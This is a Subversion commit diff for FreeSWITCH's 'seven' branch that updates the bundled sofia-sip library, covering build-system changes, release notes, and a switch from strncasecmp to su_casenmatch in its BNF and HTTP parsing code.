 							</FileConfiguration>
 							<FileConfiguration
 								Name="Debug|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -2010,6 +1990,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Release|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -2029,6 +2010,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Debug|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -2090,6 +2072,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Release|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -2109,6 +2092,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Debug|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -2175,6 +2159,7 @@
 						</FileConfiguration>
 						<FileConfiguration
 							Name="Release|x64"
+							ExcludedFromBuild="true"
 							>
 							<Tool
 								Name="VCCLCompilerTool"
@@ -2194,6 +2179,7 @@
 						</FileConfiguration>
 						<FileConfiguration
 							Name="Debug|x64"
+							ExcludedFromBuild="true"
 							>
 							<Tool
 								Name="VCCLCompilerTool"
@@ -2253,6 +2239,7 @@
 						</FileConfiguration>
 						<FileConfiguration
 							Name="Release|x64"
+							ExcludedFromBuild="true"
 							>
 							<Tool
 								Name="VCCLCompilerTool"
@@ -2272,6 +2259,7 @@
 						</FileConfiguration>
 						<FileConfiguration
 							Name="Debug|x64"
+							ExcludedFromBuild="true"
 							>
 							<Tool
 								Name="VCCLCompilerTool"
@@ -2415,6 +2403,7 @@
 						</FileConfiguration>
 						<FileConfiguration
 							Name="Release|x64"
+							ExcludedFromBuild="true"
 							>
 							<Tool
 								Name="VCCLCompilerTool"
@@ -2434,6 +2423,7 @@
 						</FileConfiguration>
 						<FileConfiguration
 							Name="Debug|x64"
+							ExcludedFromBuild="true"
 							>
 							<Tool
 								Name="VCCLCompilerTool"

Deleted: freeswitch/branches/seven/libs/portaudio/config.guess

Deleted: freeswitch/branches/seven/libs/portaudio/config.sub

Deleted: freeswitch/branches/seven/libs/portaudio/configure

Deleted: freeswitch/branches/seven/libs/portaudio/depcomp

Deleted: freeswitch/branches/seven/libs/portaudio/install-sh

Deleted: freeswitch/branches/seven/libs/portaudio/ltmain.sh

Deleted: freeswitch/branches/seven/libs/portaudio/missing

Property changes: freeswitch/branches/seven/libs/sofia-sip


Name: svn:ignore
   - config.h.in
Makefile.in
configure
_darcs
autom4te.cache
config.log
config.h
man
Makefile
config.status
stamp-h1
libtool
.complete
depcomp
compile
config.guess
ltmain.sh
config.sub
missing
aclocal.m4
install-sh
   + config.h.in
Makefile.in
configure
_darcs
autom4te.cache
config.log
config.h
man
Makefile
config.status
stamp-h1
libtool
.complete
depcomp
compile
config.guess
ltmain.sh
config.sub
missing
aclocal.m4
install-sh
RELEASE.orig
a.out.dSYM
configure.lineno

Modified: freeswitch/branches/seven/libs/sofia-sip/.update (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/.update	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/.update	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1 +1 @@
-Thur Jan 20 17:23:18 CST 2009
+Thu Jul  9 19:53:33 CDT 2009

Modified: freeswitch/branches/seven/libs/sofia-sip/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,8 +7,8 @@
 
 AUTOMAKE_OPTIONS = foreign 1.7
 
-SUBDIRS = libsofia-sip-ua $(GLIB_SUBDIRS) utils packages tests
-DIST_SUBDIRS = libsofia-sip-ua libsofia-sip-ua-glib utils packages \
+SUBDIRS =  libsofia-sip-ua $(GLIB_SUBDIRS) packages # tests s2check utils
+DIST_SUBDIRS = s2check libsofia-sip-ua libsofia-sip-ua-glib utils packages \
 	tests win32 open_c
 
 # note: when glib devel files are not available, make should not
@@ -35,15 +35,16 @@
 EXTRA_DIST +=   scripts/lcov-report scripts/uncovered \
 		scripts/hide_emails.sh
 
-dist_man_MANS = man/man1/sip-date.1 man/man1/sip-options.1 \
-		man/man1/localinfo.1 man/man1/addrinfo.1 \
-		man/man1/stunc.1 man/man1/sip-dig.1
+dist_man_MANS = 
+#		man/man1/sip-date.1 man/man1/sip-options.1 \
+#		man/man1/localinfo.1 man/man1/addrinfo.1 \
+#		man/man1/stunc.1 man/man1/sip-dig.1
 
 $(dist_man_MANS): manpages
 
 manpages:
 	-mkdir -p man man/man1 2> /dev/null
-if HAVE_DOXYGEN
+if HAVE_DOXYGEN 
 	$(MAKE) $(AM_MAKEFLAGS) -C libsofia-sip-ua/docs built-sources
 	@echo 'cd utils && $(DOXYGEN)'
 	@cd utils && \
@@ -66,6 +67,9 @@
 
 PHONY = built-sources clean-built-sources valcheck doxygen manpages
 
+# s2check depends on generated headers within libsofia-sip-ua
+all check: built-sources
+
 if HAVE_LCOV
 
 include $(top_srcdir)/rules/lcov.am

Modified: freeswitch/branches/seven/libs/sofia-sip/RELEASE (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/RELEASE	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/RELEASE	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,11 +25,35 @@
 
 libsofia-sip-ua:
 - **template**: Added foobar() function (sofia-sip/foobar.h).
+- Timing out CANCELed INVITE client transactions is now done with timer D.
+  Previously, the INVITE client transactions were restarted instead of
+  timing out under certain circumstances.
+- An INVITE transaction that has been timed out with stack timer C is now
+  CANCELed automatically. Previously, such the INVITE client transactions
+  were restarted instead of timing out under certain circumstances.
+- Timing out forked INVITE client transactions is now done by stack.
+  The stack generates a 408 response to each INVITE transaction fork that
+  has not received a final response within 32 seconds (or 64 times SIP T1)
+  after first final response to the INVITE was received.
+- The mp_len type was changed from usize_t to unsigned.
+  The change is binary-incompatible on 64-bit platforms when compiled with
+  the configure opetion --disable-size-compat
 - This release is ABI/API compatible with applications linked against
   any 1.12.x release. However, applications built against this release won't
   work against an older library. The ABI has been tested with the nua module
   unit test (test_nua) built against original 1.12.0 release.
 
+Removed globals which should have been static in first place:
+  - su_t64_to_time()
+  - mutex_trylocker()
+  - su_port_set_system_preferences()
+  - t_null_next(), t_null_move(), t_null_dup(), t_null_copy(), t_null_find()
+  - t_skip_next(), t_skip_move(), t_skip_len(), t_skip_dup(), t_skip_filter()
+  - t_next_next(), t_next_move(), t_next_len(), t_next_dup(), t_next_filter()
+  - t_filter_with(), t_any_filter()
+  - sres_record_class(), urandom
+  - u2s_alloc()
+
 libsofia-sip-ua-glib:
 - No ABI/API changes, compatible with 1.12.0. Note, libsofia-sip-ua-glib
   interface is not considered stable and may change in a future 1.12.x
@@ -38,6 +62,8 @@
 Contributors to this release
 ----------------------------
 
+Jarod Neuner <j dot neuner at networkharbor dot com>
+Michael Jerris <mike at jerris dot com>
 <list of people who contributed to _this_ release
  - update as people's patches are added, or when you commit stuff
  - current development team members (see AUTHORS) may be omitted,
@@ -55,12 +81,19 @@
 Notes on new features
 ---------------------
 
-<information about major new features
- - new/changed/removed functionality
- - links to further documentation
- - section may be omitted for minor releases
-/>
+Jarod Neuner has improved certificate validation facilities of TLS
+transport. Significant changes include:
 
+1) The TLS handshake is no longer handled via transparent negotiation.
+Certain static methods from tport.c were exposed to make this possible.
+
+2) Certificate subjects are copied out of the peer certificate before
+the first message is sent.  The next patch will include code that allows
+the stack to reject messages sent to a untrusted peer.
+
+3) The tport module can now report whether a secondary has a verified
+certificate chain and the subjects of the peer certificate.
+
 Bugs fixed in this release
 --------------------------
 
@@ -71,3 +104,5 @@
 />
 
 - **template**: #9499652 sf.net bug item title
+- Accept multiple WWW-Authenticate and Authorization headers.
+  Bug reported by Andrew Rechenberg.

Modified: freeswitch/branches/seven/libs/sofia-sip/acinclude.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/acinclude.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/acinclude.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,4 @@
+m4_include([m4/sac-pkg-config.m4])
 m4_include([m4/sac-general.m4])
 m4_include([m4/sac-openssl.m4])
 m4_include([m4/sac-su2.m4])
@@ -4,60 +5,3 @@
 m4_include([m4/sac-su.m4])
 m4_include([m4/sac-tport.m4])
 m4_include([m4/sac-coverage.m4])
-
-dnl PKG_CHECK_MODULES(GSTUFF, gtk+-2.0 >= 1.3 glib = 1.3.4, action-if, action-not)
-dnl defines GSTUFF_LIBS, GSTUFF_CFLAGS, see pkg-config man page
-dnl also defines GSTUFF_PKG_ERRORS on error
-AC_DEFUN([PKG_CHECK_MODULES], [
-  succeeded=no
-
-  if test -z "$PKG_CONFIG"; then
-    AC_PATH_PROG(PKG_CONFIG, pkg-config, no)
-  fi
-
-  if test "$PKG_CONFIG" = "no" ; then
-     echo "*** The pkg-config script could not be found. Make sure it is"
-     echo "*** in your path, or set the PKG_CONFIG environment variable"
-     echo "*** to the full path to pkg-config."
-     echo "*** Or see http://www.freedesktop.org/software/pkgconfig to get pkg-config."
-  else
-     PKG_CONFIG_MIN_VERSION=0.9.0
-     if $PKG_CONFIG --atleast-pkgconfig-version $PKG_CONFIG_MIN_VERSION; then
-        AC_MSG_CHECKING(for $2)
-
-        if $PKG_CONFIG --exists "$2" ; then
-            AC_MSG_RESULT(yes)
-            succeeded=yes
-
-            AC_MSG_CHECKING($1_CFLAGS)
-            $1_CFLAGS=`$PKG_CONFIG --cflags "$2"`
-            AC_MSG_RESULT($$1_CFLAGS)
-
-            AC_MSG_CHECKING($1_LIBS)
-            $1_LIBS=`$PKG_CONFIG --libs "$2"`
-            AC_MSG_RESULT($$1_LIBS)
-        else
-            $1_CFLAGS=""
-            $1_LIBS=""
-            ## If we have a custom action on failure, don't print errors, but 
-            ## do set a variable so people can do so.
-            $1_PKG_ERRORS=`$PKG_CONFIG --errors-to-stdout --print-errors "$2"`
-            ifelse([$4], ,echo $$1_PKG_ERRORS,)
-        fi
-
-        AC_SUBST($1_CFLAGS)
-        AC_SUBST($1_LIBS)
-     else
-        echo "*** Your version of pkg-config is too old. You need version $PKG_CONFIG_MIN_VERSION or newer."
-        echo "*** See http://www.freedesktop.org/software/pkgconfig"
-     fi
-  fi
-
-  if test $succeeded = yes; then
-     ifelse([$3], , :, [$3])
-  else
-     ifelse([$4], , AC_MSG_ERROR([Library requirements ($2) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a nonstandard prefix so pkg-config can find them.]), [$4])
-  fi
-])
-
-

Copied: freeswitch/branches/seven/libs/sofia-sip/autoconf-all.cmd (from rev 14471, freeswitch/trunk/libs/sofia-sip/autoconf-all.cmd) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/autoconf-all.cmd	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/autoconf-all.cmd	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+@setlocal
+
+@cd open_c
+@call autogen.cmd
+

Modified: freeswitch/branches/seven/libs/sofia-sip/configure.ac (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/configure.ac	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/configure.ac	2009-08-09 18:53:22 UTC (rev 14472)
@@ -13,6 +13,7 @@
 dnl update both the version for AC_INIT and the LIBSOFIA_SIP_UA_MAJOR_MINOR
 AC_INIT([sofia-sip], [1.12.10devel])
 AC_CONFIG_SRCDIR([libsofia-sip-ua/sip/sofia-sip/sip.h])
+AC_CONFIG_MACRO_DIR([m4])
 AC_SUBST(VER_LIBSOFIA_SIP_UA_MAJOR_MINOR, [1.12])
 dnl Includedir specific to this sofia version
 AC_SUBST(include_sofiadir, '${includedir}/sofia-sip-1.12')
@@ -94,72 +95,6 @@
     fi
 fi
 
-### checks for libraries
-### --------------------
-
-SAC_SOFIA_SU
-SAC_OPENSSL
-SAC_TPORT
-
-dnl Check is used for testing
-PKG_CHECK_MODULES(CHECK, check >= 0.9.4, have_check="yes", have_check="no")
-AM_CONDITIONAL(HAVE_CHECK, test x"$have_check" = "xyes")
-
-AC_CHECK_HEADERS([fnmatch.h])
-
-### internal modules
-### ----------------
-AC_DEFINE([HAVE_SOFIA_SIP], 1, [Define to 1 always])
-AC_DEFINE([HAVE_SOFIA_SRESOLV], 1, [Define to 1 if we use DNS library])
-AC_DEFINE([HAVE_SOFIA_SMIME], 0, [Define to 1 if we use S/MIME library])
-
-AC_ARG_ENABLE(stun,
-[  --disable-stun          disable stun module (enabled)],
- , enable_stun=yes)
-
-if test x$enable_stun = xno ; then
-  AC_MSG_WARN([** STUN support disabled **])
-elif test x${HAVE_OPENSSL} != x1 ; then
-  dnl compile STUN only if OPENSSL is available
-  AC_MSG_WARN([** TLS support for STUN disabled as OpenSSL headers and/or libraries were not found **])
-  AC_DEFINE([HAVE_SOFIA_STUN], 1, [Define to 1 if we use STUN library])
-else
-  AC_DEFINE([HAVE_SOFIA_STUN], 1, [Define to 1 if we use STUN library])
-fi
-AM_CONDITIONAL([HAVE_STUN], [test "x$enable_stun" = xyes])
-
-AC_ARG_ENABLE(nth,
-[  --disable-nth           disable HTTP-related modules nth and http (enabled)],
- , enable_nth=yes)
-AM_CONDITIONAL([HAVE_NTH], [test "x$enable_nth" = xyes])
-if test x$enable_nth = xyes ; then
-  AC_DEFINE([HAVE_SOFIA_NTH], 1, [Define to 1 if we use NTH library])
-  AC_DEFINE([HAVE_SOFIA_HTTP], 1, [Define to 1 if we use HTTP parser library])
-fi
-
-dnl Disable NTLM support by default
-AC_ARG_ENABLE(ntlm,
-[  --enable-ntlm           enable NTLM support [[disabled]]],
- , enable_ntlm=no)
-
-if test x$enable_ntlm = xyes ; then
-  AC_DEFINE([HAVE_SOFIA_NTLM], 1, [Define to 1 if we use NTLM library])
-fi
-AM_CONDITIONAL([HAVE_NTLM], [test "x$enable_ntlm" = xyes])
-
-
-AC_DEFINE([HAVE_SRTP], 0, [Define to 1 if we use SRTP])
-AC_DEFINE([HAVE_UPNP], 0, [Define to 1 if we use UPnP])
-
-
-AC_ARG_ENABLE(memleak_log,
-[  --enable-memleak-log    enable logging of possible memory leaks [[disabled]]],
- , enable_memleak_log=no)
-
-if test x$enable_memleak_log = xyes ; then
-  AC_DEFINE([HAVE_MEMLEAK_LOG], 1, [Define to 1 for memory-leak-related logging])
-fi
-
 ### checks for header files
 ### -----------------------
 AC_HEADER_STDC
@@ -287,6 +222,80 @@
 
 AC_DEV_URANDOM
 
+### checks for libraries
+### --------------------
+
+SAC_SOFIA_SU
+SAC_OPENSSL
+SAC_TPORT
+
+dnl Check is used for testing
+PKG_CHECK_MODULES(CHECK, check >= 0.9.4, have_check="yes", have_check="no")
+AM_CONDITIONAL(HAVE_CHECK, test x"$have_check" = "xyes")
+if test x"$have_check" = "xyes"; then
+   AC_DEFINE([HAVE_CHECK], 1, [Define to 1 if check library is available])
+fi
+AC_CHECK_HEADERS([fnmatch.h])
+
+dnl dl is currently used only in testing
+AC_CHECK_LIB([dl], [dlopen], [
+   dnl Note: -ldl is not added to LIBS
+   AC_DEFINE([HAVE_LIBDL], 1, [Define to 1 if dl library is available])
+])
+
+### internal modules
+### ----------------
+AC_DEFINE([HAVE_SOFIA_SIP], 1, [Define to 1 always])
+AC_DEFINE([HAVE_SOFIA_SRESOLV], 1, [Define to 1 if we use DNS library])
+AC_DEFINE([HAVE_SOFIA_SMIME], 0, [Define to 1 if we use S/MIME library])
+
+AC_ARG_ENABLE(stun,
+[  --disable-stun          disable stun module (enabled)],
+ , enable_stun=yes)
+
+if test x$enable_stun = xno ; then
+  AC_MSG_WARN([** STUN support disabled **])
+elif test x${HAVE_OPENSSL} != x1 ; then
+  dnl compile STUN only if OPENSSL is available
+  AC_MSG_WARN([** TLS support for STUN disabled as OpenSSL headers and/or libraries were not found **])
+  AC_DEFINE([HAVE_SOFIA_STUN], 1, [Define to 1 if we use STUN library])
+else
+  AC_DEFINE([HAVE_SOFIA_STUN], 1, [Define to 1 if we use STUN library])
+fi
+AM_CONDITIONAL([HAVE_STUN], [test "x$enable_stun" = xyes])
+
+AC_ARG_ENABLE(nth,
+[  --disable-nth           disable HTTP-related modules nth and http (enabled)],
+ , enable_nth=yes)
+AM_CONDITIONAL([HAVE_NTH], [test "x$enable_nth" = xyes])
+if test x$enable_nth = xyes ; then
+  AC_DEFINE([HAVE_SOFIA_NTH], 1, [Define to 1 if we use NTH library])
+  AC_DEFINE([HAVE_SOFIA_HTTP], 1, [Define to 1 if we use HTTP parser library])
+fi
+
+dnl Disable NTLM support by default
+AC_ARG_ENABLE(ntlm,
+[  --enable-ntlm           enable NTLM support [[disabled]]],
+ , enable_ntlm=no)
+
+if test x$enable_ntlm = xyes ; then
+  AC_DEFINE([HAVE_SOFIA_NTLM], 1, [Define to 1 if we use NTLM library])
+fi
+AM_CONDITIONAL([HAVE_NTLM], [test "x$enable_ntlm" = xyes])
+
+
+AC_DEFINE([HAVE_SRTP], 0, [Define to 1 if we use SRTP])
+AC_DEFINE([HAVE_UPNP], 0, [Define to 1 if we use UPnP])
+
+
+AC_ARG_ENABLE(memleak_log,
+[  --enable-memleak-log    enable logging of possible memory leaks [[disabled]]],
+ , enable_memleak_log=no)
+
+if test x$enable_memleak_log = xyes ; then
+  AC_DEFINE([HAVE_MEMLEAK_LOG], 1, [Define to 1 for memory-leak-related logging])
+fi
+
 ### output
 ### ------
 
@@ -337,6 +346,7 @@
 libsofia-sip-ua/url/Doxyfile
 libsofia-sip-ua/url/Makefile
 libsofia-sip-ua/features/sofia-sip/sofia_features.h
+s2check/Makefile
 libsofia-sip-ua-glib/Makefile
 libsofia-sip-ua-glib/su-glib/Makefile
 libsofia-sip-ua-glib/su-glib/Doxyfile

Modified: freeswitch/branches/seven/libs/sofia-sip/configure.gnu (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/configure.gnu	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/configure.gnu	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,3 @@
 #! /bin/sh
-./configure "$@" --with-pic --with-glib=no --disable-shared
+./configure "$@" --with-pic --with-glib=no --disable-shared --without-doxygen
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -107,4 +107,6 @@
 include $(top_srcdir)/rules/lcov.am
 endif
 
+include $(top_srcdir)/rules/silent.am
+
 .PHONY: $(PHONY)

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/bnf/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/bnf/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/bnf/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -26,7 +26,7 @@
 
 COVERAGE_INPUT = 	$(libbnf_la_SOURCES) $(include_sofia_HEADERS)
 
-LDADD =			libbnf.la
+LDADD =			libbnf.la ../su/libsu.la
 
 torture_bnf_LDFLAGS = 	-static
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/bnf/bnf.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/bnf/bnf.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/bnf/bnf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -34,6 +34,7 @@
 #include "config.h"
 
 #include "sofia-sip/bnf.h"
+#include "sofia-sip/su_string.h"
 
 #include <stdio.h>
 #include <assert.h>
@@ -795,12 +796,12 @@
 
   return
     n >= 9 /* strlen("localhost") */ &&
-    strncasecmp(host, "localhost", 9) == 0 &&
+    su_casenmatch(host, "localhost", 9) &&
     (n == 9 ||
      ((n == 10 || /* localhost. */
        n == 21 || /* strlen("localhost.localdomain") */
        n == 22) && /* strlen("localhost.localdomain.") */
-      strncasecmp(host + 9, ".localdomain.", n - 9) == 0));
+      su_casenmatch(host + 9, ".localdomain.", n - 9)));
 }
 
 /** Return true if @a string has domain name in "invalid." domain.
@@ -815,9 +816,9 @@
     if (string[n - 1] == '.')	/* .invalid. perhaps? */
       n--;
     if (n == 7 /* strlen("invalid") */)
-      return strncasecmp(string, invalid + 1, 7) == 0;
+      return su_casenmatch(string, invalid + 1, 7);
     else
-      return strncasecmp(string + n - 8, invalid, 8) == 0;
+      return su_casenmatch(string + n - 8, invalid, 8);
   }
 
   return 0;
@@ -913,7 +914,7 @@
 	retval = memcmp(a6, b6, asize);
     }
     else {
-      retval = strcasecmp(a, b);
+      retval = su_strcasecmp(a, b);
     }
   }
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/bnf/torture_bnf.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/bnf/torture_bnf.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/bnf/torture_bnf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -49,7 +49,7 @@
 
 char const name[] = "torture_bnf";
 
-int count_bnf(int bnf_flags)
+static int count_bnf(int bnf_flags)
 {
   int i, n;
 
@@ -60,7 +60,7 @@
   return n;
 }
 
-int bnf_test(void)
+static int bnf_test(void)
 {
   BEGIN();
   TEST_1(IS_TOKEN('a'));
@@ -92,7 +92,7 @@
   END();
 }
 
-int ip_test(void)
+static int ip_test(void)
 {
   BEGIN();
   char *s;
@@ -249,7 +249,7 @@
 
 #include <sofia-sip/hostdomain.h>
 
-int host_test(void)
+static int host_test(void)
 {
   BEGIN();
 
@@ -320,6 +320,11 @@
   TEST(host_has_domain_invalid("valid."), 0);
   TEST(host_has_domain_invalid("1-.invalid."), 0);
 
+  TEST(host_is_domain("127.0.0.1"), 0);
+  TEST(host_is_domain("3.com"), 1);
+  TEST(host_is_domain("127.0.0.com"), 1);
+  TEST(host_is_domain("actra.0.1"), 0);
+
   /* Invalid IP4 address (extra leading zeros) */
   TEST_1(!host_cmp("127.0.0.1", "127.0.0.01"));
   /* Invalid reference (extra leading zeros) */
@@ -342,7 +347,7 @@
   END();
 }
 
-void usage(int exitcode)
+static void usage(int exitcode)
 {
   fprintf(stderr, "usage: %s [-v] [-a]\n", name);
   exit(exitcode);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/docs/Doxyfile.aliases (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/docs/Doxyfile.aliases	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/docs/Doxyfile.aliases	2009-08-09 18:53:22 UTC (rev 14472)
@@ -56,5 +56,11 @@
  "NEW_1_12_8=@since New in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.8.txt\">1.12.8</a>" \
  "VERSION_1_12_9=<a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.9.txt\">1.12.9</a>" \
  "NEW_1_12_9=@since New in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.9.txt\">1.12.9</a>" \
+ "VERSION_1_12_10=<a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.10.txt\">1.12.10</a>" \
+ "NEW_1_12_10=@since New in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.10.txt\">1.12.10</a>" \
+ "VERSION_1_12_11=<a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.11.txt\">1.12.11</a>" \
+ "NEW_1_12_11=@since New in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.11.txt\">1.12.11</a>" \
+ "VERSION_UNRELEASED=UNRELEASED" \
+ "NEW_UNRELEASED=@since Not yet released" \
 
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/http/http_basic.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/http/http_basic.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/http/http_basic.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,6 +42,7 @@
 #define MSG_HDR_T union http_header_u
 
 #include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
 
 #include <sofia-sip/http_parser.h>
 #include <sofia-sip/http_header.h>
@@ -52,7 +53,6 @@
 
 #include <stddef.h>
 #include <stdlib.h>
-#include <string.h>
 #include <assert.h>
 #include <stdio.h>
 #include <limits.h>
@@ -446,7 +446,7 @@
 {
   http_content_range_t *cr = h->sh_content_range;
 
-  if (strncasecmp(s, "bytes", 5))
+  if (!su_casenmatch(s, "bytes", 5))
     return -1;
   s += 5; skip_lws(&s);
   if (s[0] == '*') {
@@ -820,7 +820,7 @@
 {
   http_if_range_t *ifr = (http_if_range_t *)h;
 
-  if (s[0] == '"' || strncasecmp(s, "W/\"", 3) == 0) {
+  if (s[0] == '"' || su_casenmatch(s, "W/\"", 3)) {
     ifr->ifr_tag = s;
     return 0;
   } else {

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/http/http_extra.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/http/http_extra.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/http/http_extra.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,12 +33,7 @@
 
 #include "config.h"
 
-#include <stdio.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <limits.h>
-#include <assert.h>
+#include <sofia-sip/su_string.h>
 
 /* Avoid casting http_t to msg_pub_t and http_header_t to msg_header_t  */
 #define MSG_PUB_T struct http_s
@@ -46,6 +41,12 @@
 
 #include "sofia-sip/http_parser.h"
 
+#include <stdio.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <limits.h>
+#include <assert.h>
+
 /* ========================================================================== */
 
 /**@HTTP_HEADER http_proxy_connection Proxy-Connection extension header. */
@@ -348,7 +349,7 @@
   char *rest;
 
 #define LOOKING_AT(s, what) \
-  (strncasecmp((s), what, strlen(what)) == 0 && (rest = s + strlen(what)))
+  (su_casenmatch((s), what, strlen(what)) && (rest = s + strlen(what)))
 
   /* Special cases from Netscape spec */
   if (LOOKING_AT(s, "expires=")) {

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/http/http_parser.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/http/http_parser.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/http/http_parser.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -38,6 +38,7 @@
 #define MSG_HDR_T union http_header_u
 
 #include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
 #include "sofia-sip/http_parser.h"
 #include <sofia-sip/msg_parser.h>
 #include <sofia-sip/http_header.h>
@@ -48,7 +49,6 @@
 
 #include <stddef.h>
 #include <stdlib.h>
-#include <string.h>
 #include <stdio.h>
 #include <assert.h>
 #include <limits.h>
@@ -143,8 +143,7 @@
 	 */
 	http->http_transfer_encoding->k_items &&
 	http->http_transfer_encoding->k_items[0] &&
-	strcasecmp(http->http_transfer_encoding->k_items[0],
-		   "identity") != 0) {
+	!su_casematch(http->http_transfer_encoding->k_items[0], "identity")) {
       http->http_flags |= MSG_FLG_CHUNKS;
 
       if (http->http_flags & MSG_FLG_STREAMING)
@@ -162,8 +161,7 @@
     body_len = http->http_content_length->l_length;
   /* We cannot parse multipart/byteranges ... */
   else if (http->http_content_type && http->http_content_type->c_type &&
-	   strcasecmp(http->http_content_type->c_type, "multipart/byteranges")
-	   == 0)
+	   su_casematch(http->http_content_type->c_type, "multipart/byteranges"))
     return -1;
   else if (MSG_IS_MAILBOX(flags)) /* message fragments */
     body_len = 0;
@@ -312,12 +310,12 @@
   char const *result;
   int const version_size = sizeof(http_version_1_1) - 1;
 
-  if (strncasecmp(s, http_version_1_1, version_size) == 0 &&
+  if (su_casenmatch(s, http_version_1_1, version_size) &&
       !IS_TOKEN(s[version_size])) {
     result = http_version_1_1;
     s += version_size;
   }
-  else if (strncasecmp(s, http_version_1_0, version_size) == 0 &&
+  else if (su_casenmatch(s, http_version_1_0, version_size) &&
 	   !IS_TOKEN(s[version_size])) {
     result = http_version_1_0;
     s += version_size;
@@ -334,7 +332,8 @@
     for (n = l1; IS_LWS(s[n]); n++)
       s[n] = '\0';
     if (s[n] == '/') {
-      for (n = n + 1; IS_LWS(s[n]); n++);
+      for (n = n + 1; IS_LWS(s[n]); n++)
+        {}
       l2 = span_token(s + n);
       n += l2;
     }
